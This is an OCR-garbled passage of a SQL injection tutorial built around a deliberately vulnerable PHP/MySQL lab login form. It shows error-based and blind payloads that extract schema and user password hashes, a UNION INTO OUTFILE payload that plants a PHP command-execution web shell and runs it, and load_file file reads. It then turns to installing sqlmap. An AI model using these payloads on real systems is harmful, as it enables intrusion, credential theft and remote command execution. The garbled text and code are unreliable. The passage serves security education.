a°| @ http://192.168.168.111:8888/mysq/sql1/sql.htm P+ &/ & mylogin ok
User Name- |NCAT_WS("‘",(SELECT column_name FROM information_schema.columns WHERE table_schema='a' AND table_name="tbl1' LIMIT 4.1).FLOOR(RAND(0)*2)}) having min{0).—- -
Password:

Then we get the following error message:
(: )| @ hittp://192.168.168.111:3888/mysql/sq11/5ql.php £~ C| 2192168168111

Warning: mysgh_query(): (23000/1062): Duplicate entry 'description~1' for key 'group_key' in C:\xampp\htdocs'mysglisqll'sgl.php on line 11
ERROR during query execution: Duplicate entry 'description~1" for key 'group_key'l

From this error message we know that, there is a column called description. To find the next column we
must change the LIMIT 4,1 to LIMIT 5,1. So use the following input as user name:

' OR 1=1 GROUP BY CONCAT WS('~', (SELECT column name FROM
information schema.columns WHERE table schema='a' AND
table name='tbll' LIMIT 5,1),FLOOR(RAND(0)*2)) having min(0);-- -

- o x
a°| & http://192.168.168.111:8888/ mysql/sql1/sql.html P~ ¢ | & mylogin N ok
User Name: |NCAT_WS(“"{SELECT column_name FROM information_schema.columns WHERE table_schema='a' AND table_name="tbI1" LIMIT 5,1).FLOOR{RAND({0)*2)) having min(0);- -
Password: I

After pressing the send button we got the following error message:



er\ffij‘ 2 hittp://192.168.168.111:8888/mysql/sql1/sql.php L~-d| =

=

Warning: mysqhi_query(): (23000/1062): Duplicate entry '1' for key 'group_kev' in C:\xampp'\htdocs\mysql'sqll'sql.php on line 11
ERROR during query execution: Duplicate entry '1' for key "group _key'l

From this we know there is no more columns in this table.

We can query any other information as well. For example the user name and password hashes of the
MySQL database users. First if have not done yet create a user by the following command:

CREATE USER 'test'@'localhost' IDENTIFIED BY 'pass';

The user name and password hash can be queried with the following SQL command:

SELECT user,password FROM mysgl.user;

But this query gives us a table as result-set, and for the error based SQL injection we need only one
value, so we modify it as:

SELECT CONCAT WS('~',user,password) FROM mysqgl.user LIMIT 0,1

If we substitute it to the ERROR based query we will get the following:

' OR 1=1 GROUP BY CONCAT WS('~"', (SELECT CONCAT WS ('~',user,password)
FROM mysgl.user LIMIT 0,1),FLOOR(RAND(0)*2)) having min(0);-- -

a°| & http://192.168.168.111:8888/mysql/sql1/sgl.html P~ & @ mylogin
User Name: [ OR 1=1 GROUP BY CONCAT_WS(™ (SELECT CONCAT_WS(™" user.password) FROM mysql.user LIMIT 0,1) FLOOR(RAND(0)2)) having min(Q):- -
Password: I

After clicking to the send button we will get the following error message:

er\.’jﬁj @ http://192.168.168.111:8888/mysql/sql1/sql.php P~ e| @oaiss:

Warning: mysqli_query(): (23000/1062): Duplicate entry 'root~~1" for key 'group key' in C:'xampp'\htdocs\mysqlisqll\sql.php on lin= 11
ERROR during query execution: Duplicate entry 'root~1" for key 'group_key'l

From this error message we know that, there is a user called root, and it has no password. To find the
next column we must change the LIMIT 0,1 to LIMIT 1,1, then to LIMIT 2,1 and so on. The previously
created user test for me was given by LIMIT 5,1:

' OR 1=1 GROUP BY CONCAT WS('~'"', (SELECT CONCAT WS('~',user,password)
FROM mysqgl.user LIMIT 5,1),FLOOR(RAND(Q0)*2)) having min(0),;-- -



e°| & hittp://192.168.168.111:3888/mysql/sql1/sql.html P~ | & mylogin

User Name: |‘ OR 1=1 GROUP BY CONCAT_WS("™ (SELECT CONCAT_WS({"™" user.password) FROM mysql.user LIMIT 5,1).,FLOOR(RAND{0)*2)) having min(0):-- -
Password: |

After clicking to the send button we will get the following error message:

oo
eI®I| (2 http://192.168.168.111:8888/mysql/sql1/sgl.php P~ & 192.168.168.111

‘Warning: mysqli_gquery(): (23000/1062): Duplicate entry 'test~*196BDEDE2AEAF84CA44C4TD54D78478CTE2BDTB7~1' for key 'group_key' mn
C:\xampp'htdocs\mysqlisqll\sql.php on line 11
ERROR during query execution: Duplicate entry 'test~*196BDEDE2AE4F84CA44C47D54D78478CTE2BDTB7~1' for key 'group_key'l

From this error message we know, there is a user called test, and the password hash of it is
196BDEDE2AE4F84CA44C47D54D78478C7E2BD7B7.



Get metadata information with information schema blind SQL example

To try this example use the sql.html as follows:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>

<input type="submit" wvalue="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php, which validates the user credentials.

il
File Edit Search View Encoding Language Settings Macre Run Pluging  Window 7
FEL LY YAE IR IE R =R Rl Pl ol
Eﬂmﬂﬁﬂiﬂl
1 ktitle}mx;gg;g<ftitle>
2 <body>
3 <form action="ggl.php" method="POST">
User Name: <input type="text" id="psername" name="gpsernamns"/><br/>
2 Password: <input tyvpe="password" id="password" name="password"/><br/>
6 <input type="submit" wvalue="zend">
</ form>
B </ body>

The sql.php has the following source code.

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

//Sdbsrvname = "192.168.168.111";

Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($srvname, Susername, Spassword, Sdbname);

if (!S$con) {
echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='"
$ _POST['username'] . "' AND password='"

$_POST['password'] . "';";



Sstms =

if

mysgli query ($Scon,
($stms
echo ('ERROR during query execution:

Squery) ;

false) {
')

die(print r (mysgli error($con)));

}
Srow =
if

mysgli fetch array($Sstms, SQLSRV FETCH ASSOC) ;

($row) {

die ('Logged in');

}

else{

die ('Wrong username or password');

}
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H<2php

Zdbname = "a";

Zusername = "root";

Zpassword = "";

Zsrvname = "192.168.168.111";

f/8sryname = "127.0.0.1";

Scon = mysqgli connect ($srvname, fSusername, Spassword, S$dbname);
Eif ('Zcon){

echo ( "Connection ERRCR

Vi

dieiprint_r(mysqli_errnriECDnJ]];

Zquery = "SELECT * FROM tbll WHERE username="'"
& POST['username'] "t OND password='"
£ POST['password'] . "':":
Sstms = mysgli query($con, Squery):
Eif (%$=stms === false) {
echo ("ERROE during gquery execution "):

dieiprint_r(mysqli_errnriScnnJ]];
Srow = mysqgli fetch array($stms, SQLSEV FETCH ASSCC);
Hif

(Erow) {

To get information we must know the database name, the table name, the column names. Try to get first



the database name.

The database names can be queried from the information_schema.schemata table. The name of the
database is stored in the schema name column. This information can be queried with the following
SQL query:

SELECT schema name FROM information schema.schemata LIMIT 0,1

And we already know how does the blind SQL injection works in this case:

name' AND ASCII (SUBSTRING(AAA,1,1))>128#

Where the AAA means a place holder, where one must substitute the query what queries the
information required by us.

So the whole input should be:

name' AND ASCII (SUBSTRING ( (SELECT schema name FROM
information schema.schemata LIMIT 0,1),1,1))>128%

GO‘ 2 http://192.168.168.111:2888/mysql/sql1/sql.htm 0o

User Name: |name' AND ASCI{SUBSTRING({SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1))=128#
Password: |

send

We got the following result:

(- | @ hitp://192.168.168.111:3888/mysql/sql1/sql.php

Wrong username or password
It means, the ASCII code of the first character of the name of the first database is not greater than 128.
So we can use the binary search, and halve the region. The next input must be the following:

name' AND ASCII (SUBSTRING ( (SELECT schema name FROM
information schema.schemata LIMIT 0,1),1,1))>04#

e°| 2 http://192.168.168.111:8888/mysql/sql1/sgl.html

User Name: |name' AMND ASCI(SUBSTRING((SELECT schema_name FROM information_schema schemata LIMIT 0,1),1,1))=64#

Password: I

send




For this we get the following answer:

e(_. | & hittp://192.168.168.111:2888 /mysql/sql1/sql.php

Logged in

It means, the ASCII code of the first character of the name of the first database is not greater than 128,
but greater than 64. So we can use the binary search again, and halve this region. The next input must
be the following:

name' AND ASCII (SUBSTRING ((SELECT schema name FROM
information schema.schemata LIMIT 0,1),1,1))>96#

And so on one can get the characters of the database name one by one. I do not go through all the steps,
because it is long.

After we got the database names one can try to get the table names of the interesting databases. This
information is stored in the information_schema.tables table. The query required to get this information
is the following:

SELECT table name FROM information schema.tables WHERE
table schema='a' LIMIT O,1

And we already know how does the blind SQL injection works in this case:

name' AND ASCII (SUBSTRING (AAA,1,1))>1284#

Where the AAA means a place holder, where one must substitute the query what queries the
information required by us.

So the whole input should be:
name' AND ASCII (SUBSTRING((SELECT table name FROM

information schema.tables WHERE table schema='a' LIMIT
0,1),1,1))>128+%

e°| @ http://192.168.168.111:8888/mysql/sql1/sql.html £+ & | @ mylogin

User Name: |name' AND ASCI{SUBSTRING({(SELECT table_name FROM information_schema tables WHERE table_schema="a' LIMIT 0.1).1,1))=128#
Password: |

We got the following result:



( | @ hitp://192.168.168.111:3888/mysql/sql1/sql.php

Wrong username or password

It means, the ASCII code of the first character of the name of the first table in database “a” is not
greater than 128. So we can use the binary search, and halve the region. The next input must be the
following:

name' AND ASCII (SUBSTRING ( (SELECT table_name FROM
information schema.tables WHERE table schema='a' LIMIT 0,1),1,1))>64#

e°| @ hitp://192.168.168.111:3888/mysql/sql1/sqLhtml £~ & | @ mylogr

User Name: |nﬁme' AND ASCII{SUBSTRING({(SELECT table_name FROM information_schema.tables WHERE table_schema="a' LIMIT 0,1),1,1))=64#

Password: |

send

For this we got the following answer:

e’

e{: )| @ hitp://192.168.168.111:3888/mysql/sql1/sql.php

Logged in

It means, the ASCII code of the first character of the name of the first table in database “a” is not
greater than 128, but greater than 64. So we can use the binary search again, and halve this region. The
next input must be the following:

name' AND ASCII (SUBSTRING((SELECT table name FROM
information schema.tables WHERE table schema='a' LIMIT 0,1),1,1))>96#

And so on one can get the characters of the table name one by one. I do not go through all the steps,
because it is long.

After we got the table names one can try to get the column names of the interesting tables. This
information is stored in the information_schema.columns table. This table contains the name of every
column from every database, and every table. We must filter it. The database name is stored in the
table_schema column, and the table name is stored in the table name column.

SELECT column name FROM information schema.columns WHERE
table schema='a' AND table name='tbll' LIMIT 0,1;



And we already know how does the blind SQL injection works in this case:

name' AND ASCII (SUBSTRING(AAA,1,1))>128%#

Where the AAA means a place holder, where one must substitute the query what queries the
information required by us.

So the whole input should be:
name' AND ASCII (SUBSTRING ((SELECT column name FROM

information schema.columns WHERE table schema='a' AND
table name='tbll' LIMIT 0,1),1,1))>1284#

e°| & http://192.168.168.111:8888/mysql/sql1/sql.html R~ ¢| @ mylogin
User Name: |name' AND ASCII(SUBSTRING{{SELECT column_name FROM information_schema.columns WHERE table_schema="a' AND table_name="tbI1" LIMIT 0,1).1.1})=128#
Password:

We got the following result:

e(\_::)j 2 http://192.168.168.111:3888/mysql/sql1/sql.php

Wrong username or password

It means, the ASCII code of the first character of the name of the first column in table tbl1 in database

a” 1s not greater than 128. So we can use the binary search, and halve the region. The next input must
be the following:

name' AND ASCII (SUBSTRING ( (SELECT column name FROM
information schema.columns WHERE table schema='a' AND
table name='tbll' LIMIT 0,1),1,1))>64#

e°| @ http://192.168.168.111:8888/mysql/sql1/sql.html £+ 8| & mylogin

User Name: |name' AND ASCII(SUBSTRING{(SELECT column_name FROM information_schema.columns WHERE table_schema="a' AND table_name="tbI1" LIMIT 0,1).1.1))=64#
Password: I

We got the following result:

e {:-:}} @ http://192.168.168.111:8888/mysql/sql1/sql.php




It means, the ASCII code of the first character of the name of the first column in table tbl1 in database
“a” is not greater than 128, but greater than 64. So we can use the binary search again, and halve this
region. The next input must be the following:

name' AND ASCII (SUBSTRING ((SELECT column name FROM

information schema.columns WHERE table schema='a' AND
table name='tbll' LIMIT 0,1),1,1))>96#

And so on one can get the characters of the column name one by one. I do not go through all the steps,
because it is long.

We can query any other information as well. For example the user name and password hashes of the
MySQL database users. First if have not done yet create a user by the following command:

CREATE USER 'test'@'localhost' IDENTIFIED BY 'pass';

The user name and password hash can be queried with the following SQL command:
SELECT user,password FROM mysqgl.user LIMIT 0,1;

And we already know how does the blind SQL injection works in this case:

name' AND ASCII (SUBSTRING (AAA,1,1))>128%

Where the AAA means a place holder, where one must substitute the query what queries the
information required by us.

So the whole input should be:

name' AND ASCIT (SUBSTRING( (SELECT user FROM mysgl.user LIMIT
0,1),1,1))>1284%

The sub-query must return only one data this is why we query only the user name first. Or one can use
the CONCAT_ WS function like we did it in the error base example.

e o = http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: |name' AND ASCI[SUBSTRING{{SELECT user FROM mysql.user LIMIT 0.1).1.1))=125#

Passvvord:l

send

We got the following result:



QI@:I 2 http://192.168.168.111:2888/mysql/sql1/sql.php
Wrong username or password
It means, the ASCII code of the first character of the first user name is not greater than 128. So we can
use the binary search, and halve the region. The next input must be the following:

name' AND ASCIT (SUBSTRING( (SELECT user FROM mysgl.user LIMIT
0,1),1,1))>644

eo @ http://192.168.168.111:2888/mysql/sql1/sql.htm

User Name: |name' AND ASCI[SUBSTRING({{SELECT user FROM mysgl.user LIMIT 0,1),1,1))=64#%

Passvvnrd:l

send

We got the following result:

eI@:I 2 http://192.168.168.111:8888/mysql/sgl1/sql.php

Logged in

It means, the ASCII code of the first character of the first user name is not greater than 128, but greater
than 64. So we can use the binary search again, and halve this region. The next input must be the
following:

name' AND ASCII (SUBSTRING ((SELECT user FROM mysgl.user LIMIT
0,1),1,1))>9%6+#

As usually on one can get the characters of the user name one by one. I do not go through all the steps,
because it is long.



Upload file through MySQL

The mysql contains an INTO OUTFILE keyword, to redirect the output to a file. By the help of
UNION we can concatenate an arbitrary text to the result-set and get some useful result. Very often it is
used, to upload some backdoor to the webserver so I will sow that example.

A very simple PHP backdoor looks like as:
<?php passthru($ GET['cmd']);?>
To try this example use the sql.html as follows:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" value="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php, which validates the user credentials.

s
File Edit 5Search View Encoding Language Settings Macre Run Plugins  Window 7
EFEL LI TR TID AR 1= R =] - Fal ol D
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1 ktitle}mx;gg;g<ftitle>
2 <body>
3 <form action="ggl.php" method="POST">
= Oser Name: <input type="text" id="gpsername" name="psername"/><br/>
5 Password: <input tvpe="password" id="password" name="password"/><br/ >
6 <input type="submit" value="szend">
</ form>
B < /body>

The sql.php has the following source code.

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

//Sdbsrvname = "192.168.168.111";

Sdbsrvname = "127.0.0.1";



$con = mysqgli connect ($srvname, Susername, Spassword,
1if (!Scon) {

echo ('Connection ERROR');
die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='"
$ _POST['username'] . "' AND password='"

$_POST['password'] . "';";
$stms = mysgli query(Scon, Squery);

if ($stms === false) {
echo ('"ERROR during query execution: ');
die(print r (mysgli error ($con)));

}
$row = mysqli fetch array($stms, SQLSRV FETCH ASSOC) ;
if (Srow) {
die ('Logged in'");
}
else{
die ('Wrong username or password');

}
7>

Sdbname) ;



oy
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cHReER e8| ikt ax|BE|=1] | @E]
| salbtml £ = sqlphp Eﬂl
1 [HE<«?php
2 Sdbname = "a";
5 fusername = "root":
- Zpassword = "";
3 Szrvname = "192.168.168.111";
& ffSs3ryname = "127.0.0.1";
7 fcon = mysqgli_connect ($srvname, f$username, $password, Sdbname);
g8 [HEif ('Scon){
B echo ("Connection ERBRCR') ;
10 dieiprint_r(mysqli_errnriSCDn]]];
12 SZquery = "SELECT # FROM tbll WHERE username="'"
13 £ POST Sernamns " AND password='"
14 £ POST['password'] . "':":
15 £stms = mysgli_gquery ($con, Squery):
16 [Hif (£ztms === false){
17 echo ("ERRCE during gquery execution } 5
18 dieiprint_r(mysqli_errnriSCDn]]];
20 Srow = mysqgli fetch array($stms, SQLSEV FETCH ASSCC);
21 [HEif (Srow){
22 die('Logged in'):
23 r}
24 [Helse
25 die('Wrong psername or password'):;
26 r 3
27 -2

We want to use the union so we must use five columns because as we remember in this example the
first query queries five columns. So the user name must be the following:

' UNION SELECT "a","<?php passthru($_GET['cmd']);?>","a","a","a" INTO
OUTFILE 'C:/xampp/htdocs/hack.php';-- -

* the first apostrophe breaks out from the string, to write SQL

e After that comes a select, what selects five constant values. The second is the PHP backdoor.
e INTO OUTFILE to redirect the output to a file

* then comes the destination file. Take care for the file separator, it is not backslash

e and finally the comment, to comment out the “unnecessary” part of the original SQL

The whole SQL query will be:

SELECT * FROM tbll WHERE username='' UNION SELECT "a","<?php



passthru($ GET['cmd']);?2>","a","a","a" INTO OUTFILE
'C:/xampp/htdocs/hack.php';-- -' AND password='"";

Try the following as user name:

' UNION SELECT "a","<?php passthru($_GET['cmd']);?>","a","a","a" INTO
OUTFILE 'C:/xampp/htdocs/hack.php';-- -

(¢ ]

User Name: |‘ union select "a"."<?php passthru($_GET[cmd");7=""a"."a"."a" INTO OUTFILE "C:fxampp/htdocsjhack php'- -

2 http://192.168.168.111:8888/mysql/sql1/sql.html

Password: |

When we click to the send button we get an error message, but it is not important for us.

e@| @ hitp://192.168.168.111:8888/mysql/sql1/sql.php O~ ¢| @igsen

Warning: mysqly_fetch_arrav() expects parameter 1 to be mysqli_result. boolean given mn C:\xampp'htdocs\mysqlisqllisql.php on line 16
Wrong username or password

If we go to the c:\xampp\htdocs directory the hack.php file is created.
Home Share View

(€ = + 1|, » ThisPC » LocalDisk (C:) » xampp » htdocs »

- Favorites Name

B Desltop | mssql
4. Downloads | mysql
| Recent places || hack.php

The content of it the letter “a”-s as constant, and the PHP code:

o

Eile Edit Search Miew Enceding Language Settings Macre Run Plugins  Window

|coRREGaI{RR2enn|as BRI I1IFEEZEH|®
E]hau:k.phpﬂl

1 a <?php passthru($ GET['gmd'l):?> a a a

= |




We can call it by using the following URL:

http://192.168.168.111:8888/hack.php?cmd=dir+c:\

e@ @ http://192.168.168.111:8888/hack. php?emd= dir+ ¢\

And it is working, as expected.

a@ & http://192.168.168.111:8888/hack.php?crd=dir+ e\, P~ & 2192168168111 1

a Volume in drive C has no label. Volume Serial Number is C083-206E Directory of c:\ 10/16/2013 10:55 AM 116,384 AdminPack exe 10/16/2013 10:29 AM 2.318.336
appwarmup_x64.ms1 04/16/2014 12:28 PM 7,737.239 burpsuite_free_v1.6 jar 02/12/2014 12:40 PM

inetpub 08/22/2013 08:52 AM
Perfl.ogs 02/25/2014 02:33 AM
Program Files 02/15/2014 01:18 PM
Program Files (x86) 03/27/2014 10:21 AM
Python27 02/12/2014 03:17 PM
Users 02/12/2014 03:17 PM
Windows 03/27/2014 09:08 AM
xampp 3 File(s) 10,171,959 bytes 8 Dir(s) 202.298.093,568 bytes freeaaa


http://192.168.168.111:8888/hack.php?cmd=dir+c

Read the content of a file through MySQL

We are able to read the content of an arbitrary file through SQL injection. To do it we must use the
load_file function of the MySQL. First we will use the UNION operator, to concatenate the content of a
file to a result set. For this test use the following code as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
if (!Scon) {

echo ('Connection ERROR'):;

die(print r (mysgli error ($con)));
}
Squery = "SELECT username, '******' AS password,description,id

FROM tbll WHERE username='" . $ GET['username'] . "';";

$stms = mysgli query(Scon, Squery);
1f ($stms === false) {

echo ('"ERROR during query execution: ');

echo (Squery) ;

die(print r (mysqgli error ($con)));
}
echo '<table border="1" width="100%"><tr><td>username</td>

<td>password</td><td>description</td><td>id</td></tr>"';
while ($row = mysqgli fetch array($stms, MYSQLI ASSOC)) {
echo '<tr><td>' . Srow['username'] . '</td><td>' . Srow]['password']
'</td><td>' . Srow['description'] . '</td><td>' . S$row['id']

'</ed></tr>';
}
echo '</table>';



5

File Edit Search View Encoding Language Settings Macre Run Plugins

J sEHHEHB & |ik L1 Ej| 2 |ﬁﬂ ba | % |u1 ﬂj|

Window 7

-

IfEEAI® @B B E

[=] =gl php tﬂl
1 HB<x?php
2 £dbname = "a";
& £dbusername = "root";
- S£dbpassword = "";
5 £dbsrvname = "127.0.0.1"
6 fcon = mysgli connect ($dbsrvname, S$dbusername, $dbpassword, S$dbname):
T [Hif ('Scom) {
B echo ('Connection ERROR');
9 die(prin;_r(mysqli_errnr(Scun]]];
11 Sguery = password,description,id
12 na $ GET['ussrname' Trat:
13 §stms = mysgli query($con, Squery);:
14 Hif ($stms === false) {
15 echo ("ERROR during guery execution } s
16 echo (Squexy) ;
17 die(print_p(mysqli_error(Econ]]];
19 echo '<table border="1" width="100%"><Lr><Ld>username</Ld>
20 <tdrpassword</Ld><pdrdescription</Ld><fd>id</ pd></Lr>":
21 [Hwhile ($row = mysqgli_ fetch array($stms, MYSQLI ASS0OC) ) {
22 echo '"<Lr><fd>' . S$row['usernams'l '<Srdrahd>' . $row['password
23 <fdy<pd>" . Srow['description'] . '</pd><gd>’ Frow['id® A s e
24 I
25 echo '</tableX>";
26

To open a file in MySQL one should use the following command:

SELECT load file('c:\\xampp\\php\\php.ini');

Take care for the file separator. One can use the forward slash (/) like we did in the case of INTO

OUTFILE example or we can escape (double) the back slash (\) like in this example. Both soulution is

correct and

working. I use here the other one to show this as well.

We already know how does the union based SQL injection works, and know that, in this example the
first query returns four columns in the result set. So by assemble these informations we will have to use
the following as username:

'a','a','a'——

' UNION SELECT load file('c:\\xampp\\php\\php.ini'"),

The whole query will be this:

SELECT username, '***x**x!
username="'"' UNION SELECT

AS password,description,id FROM tbll WHERE


file://xampp//php//php.ini

load file('c:\\xampp\\php\\php.ini'),'a','a', 'a'-- -';

If we type it to the URL:

We get the following result:

(= hitp://192.168.168.111:8888/mysql/union1/sgl.phpTusername=" UNIOM SELECT load_file('c\'xampp\iphptiphp.ini’),'a’, '8’ 'a'-- -

el@}‘ (22 http://192.168.168.111:8888/mysgl/union1/sql.phptusernarne=" UNIOMN SELECT load_file('c\\xampp\\phpt\php.ini),'a','a’,'a'-- -

|u5cmame

[PHP] iz s About phpaani ;| 3ziiiinas: - PHP's initialization file, generally called php.ani, 1s responsible for
number of locations. ; The following is a summary of its search order: ; 1. SAPI module specific location. ; 2. The PHP
53.2.0) ; 4. Corrent working directory (except CLI) ; 5. The web server's directory (for SAPI modules), or directory of P.
Windows directory (Cwindows or C:winnt) ; See the PHP docs for more specific information. ; http://php. net/config
silently ignored (as you probably guessed). ; Section headers (e.g. [Foo]) are also silently ignored, even though ; thev i
PHP files in the /www/mysite directory. Directives ; following the section heading [HOST=www.example com] only a
user-defined INI files or ; at runtime. Currently, [PATH=] and [HOST=] zections only work under ; CGL/'FastCGI. ; htt,
*case sensitive® - foo=bar 1s different from FOO=bar_ ; Directives are vanables used to configure PHP or PHP extensic
default value will be used. ; The value can be a string, a number, a PHP constant (e.g. E ALL or M PI), one ; of the IN

-~ TRTT 4

Here we can read the content of the php.ini file.



Combination of LOAD_FILE and INTO OUTFILE

An other situation, when we does not have data screen, only for example a login screen. In this case we
can combine the LOAD_FILE and INTO OUTFILE, to move the content of a file to another place,
where we can open it with browser, or “change the extension” of the file to be able to read it.

To try this example use the sql.html as follows:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

It creates a form with two fields on it. One is a username field, and the other is a password field. When
the user clicks on the submit (send) button, it will call the sql.php, which validates the user credentials.

s
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1 ktitle}mx;gg;g<ftitle>

2 <body>

3 <form action="ggl.php" method="POST">

! User Name: <input type="text" id="psernams" name="pssrnamns"/><br/>
5 Password: <input tvpe="password" id="password" name="password"/><br/ >
6 <input type="submit" wvalue="zend">
</ form>
B </ body>

The sql.php has the following source code.

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

//$dbsrvname = "192.168.168.111";

Sdbsrvname = "127.0.0.1";

$con = mysqli connect ($srvname, Susername, Spassword, Sdbname);

if (!Scon) {
echo ('Connection ERROR');
die(print r (mysqgli error ($con)));



}
Squery = "SELECT * FROM tbll WHERE username='"

$_POST['username'] . "' AND password='"
$_POST['password'] . "';";
$stms = mysqgli query(Scon, S$Squery);

if ($stms === false) {
echo ('"ERROR during query execution: ');
die(print r (mysqgli error ($con)));

}
$row = mysqgli fetch array($stms, SQLSRV FETCH ASSOC) ;
if (Srow) {
die('Logged in');
}
else{
die ('Wrong username or password');

}
?>



oy

File Edit 5Search View Encoding Language Settings Macre Run Plugins  Window 7

o'.JEﬁ @@L&|ﬂk|§hﬁ1|ac|lﬂlbﬂ|% E|~_"~'_~:_~'_|—=—d |5_le
=|salhtml £ = sql php Eﬂl
1 [HE<«?php
2 Sdbname = "a";
5 fusername = "root":
- Zpassword = "";
3 Szrvname = "192.168.168.111";
6 f/8a3ryname = "127.0.0.1";
7 fcon = mysqgli_connect ($srvname, f$username, $password, Sdbname);
g8 [HEif ('Scon){
B echo ("Connection ERBRCR') ;
1C dieiprint_r(mysqli_errnriSCDn]]];
12 fguery = "SELECT #* FRCM tbll WHERE username='"
13 £ POST Sernamns " AND password='"
14 £ POST['password'] . "':":
15 £stms = mysgli_gquery ($con, Squery):
16 [Hif (£ztms === false){
17 echo ("EERCE during gquery exXecution: '});
18 dieiprint_r(mysqli_errnriSCDn]]];
20 Srow = mysqgli fetch array($stms, SQLSEV FETCH ASSCC);
21 [HEif (Srow){
22 die('Logged in'):
23 r}
24 [Helse
25 die('Wrong psername or password'):;
26 B
27 -2

In this example we try to read the content of the c:\xampp\htdocs\mysql\sql1\sql.php file. It is
obviously a PHP file, so if you try to open it you will not get the content of the file, but it will run at
server side and you get only the generated result of it. To be able to read the content of this file we must
change the extension of it from .php to something else what the webserver server as simple text file like
the .txt extension.

To open this file one can use the

SELECT load file('c:\\xampp\\htdocs\\mysgl\\sgll\\sgl.php"')

command. If someone recalls in this example the first query returns five columns, So to be able to use
it with UNION operator one must use the following form:

' UNION SELECT
load file('c:\\xampp\\htdocs\\mysgl\\sgll\\sgl.php'),'a','a','a','a’



file://xampp//htdocs//mysql//sql1//sql.php'),'a','a','a','a
file://xampp//htdocs//mysql//sql1//sql.php

And we do not want to print it to the screen, but to save it to a file so the final solution will be:

' UNION SELECT
load file('c:\\xampp\\htdocs\\mysgl\\sgll\\sgl.php'),'a','a','a','a’
INTO OUTFILE 'c:\\xampp\\htdocs\\t.txt';-- -

if we use this input as user name the resultant query will be:

SELECT * FROM tbll WHERE username='"' UNION SELECT
load file('c:\\xampp\\htdocs\\mysgl\\sgll\\sgl.php'),'a','a','a','a’
INTO OUTFILE 'c:\\xampp\\htdocs\\t.txt';-- -' AND password="";

To try it type the following code as username:

' UNION SELECT
load file('c:\\xampp\\htdocs\\mysgl\\sgll\\sgl.php'),'a','a','a','a’
INTO OUTFILE 'c:\\xampp\\htdocs\\t.txt';-- -

2 http://192.168.168.111:8888/mysql/sql1/sgl.html Lo~

Ii::%\'
User Name: |‘ UNION SELECT load_file('c:\\xampplihtdocsiimysqgliisgliiisgl.php’).'a''a"'a"."a" INTO OUTFILE 'c:\\xampp\\htdocs}it txt"-- -

Password: I

After clicking to the send button we will get a nice error message:

GQ§}| 2 hitp://192.168.168.111:8888/mysql/sql1/sql.php R~ C| @92168

Warning: mysqli_fetch_array() expects parameter 1 to be mysgli_result. boolean given in C:\xrampp\htdocs\mysqlisqllisql.php on line 16
Wrong username or password

But this is unimportant for us. The important is that, we have the t.txt file created:

IR
Home Share View

@ * T . v ThisPC » Local Disk (C:) » xampp » htdocs
- Favorites Name
B Desktop , mssql
4. Downloads | mysql
=] Recent places || hack.php
L b

1M This PC



If we open it, it contains the sql.php. OK, there are some additional characters, but it can be read easily.

o7
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1 <?php

2 M

3 include('..““\db.phnp"):

4 N

5 Scon = mysqli connect ($dbsryname, Sdbusername, Sdbpassword, Sdbname)
AN

T if ('EScom){

8 A

g echo ("Connection ERECR') ;
10 kY
11 die (print r(mysgli error (2con))):
12 Ay

Of course we can open this file in a browser as well:



e@ & http://192.168.168.111:8288/t.bet

<?php

Y

include ('..%\db.php');
%

Scon = mysgli connect ($dbsrvname, $dbusername, Sdbpassword, $dbname):
Y
if ('Scomn){
ki
echo('Connection ERROR'") ;
i

dieipIint_I(mysqli_errori$cnn]]];

query = "SELECT * FROM tbll WHERE username='"
$_PDST['username'] . "' AND pasaword='"
kY § POST['password'] . "':";

%
b
Y
£ztms = mysgli guery(Scon, S$query):
%
i
%

if (f=ztm= === false){
echo { "ERROR during guery executiom: '}:;
Y
dieipIint_I(mysqli_errori$cnn]]]:
ki
1
i
frow = mysgli fetch array($stms, MYSQLI ASSCC);
Y

if (Srow){



Automated tools

As we have seen there are many test cases what we have to try. We have already talked about the Burp
proxy intruder module, what is a semi automated solution. Next to that of course there are many many
free and commercial tools, to find SQL injection problems. Obviously we can introduce only a small
number of testing tools.



sqlmap

One very widely used tool is the sqlmap. It is written in python, and can be run on both Windows, and
Linux/Unix environment. It can be downloaded from the http://sqlmap.org/ webpage, also it is installed
to the Kali linux, what can be downloaded from the http://www.kali.org/ webpage.


http://www.kali.org/
http://sqlmap.org/

Install sqlmap to windows

Download a python compiler. I used the one what can be download from the www.python.org
webpage. Both the 2.7 and 3.4 version must be good for the sqlmap. I used the 3.4.1 x64 version.

File _H::ume Share View Manage
©

* P v ThisPC » CD Drive (D) DVDTools20140718 »  www.python.org
Y Favorites Mame - Date modified
B Desktop |ﬁ'f;!
4. Downloads ﬁ%‘ pythen-2.7.8.msi 71772014 10:35 A
=| Recent places ﬁ%‘ python-3.4.1.amdéd.msi 72014 10:56 AN
ﬁ! python-3.4.7.msi TAT7/2014 10:56 Al

On the install screen select “install for all users” then click to the next button.
l x

Select whether to install Python 2.7.8
{64-bit) for all users of this computer.

(® Install for all users

O Install just for me (not avaiable on Windows Vista)

pgthf()n

windows

| Back || | | Cancel |

Choose the
install
directory, I used the default one, then click to the next button.


http://www.python.org/

Select Destination Directory

Please select 3 directory for the Python 2.7.8
[(64-bit) filas.

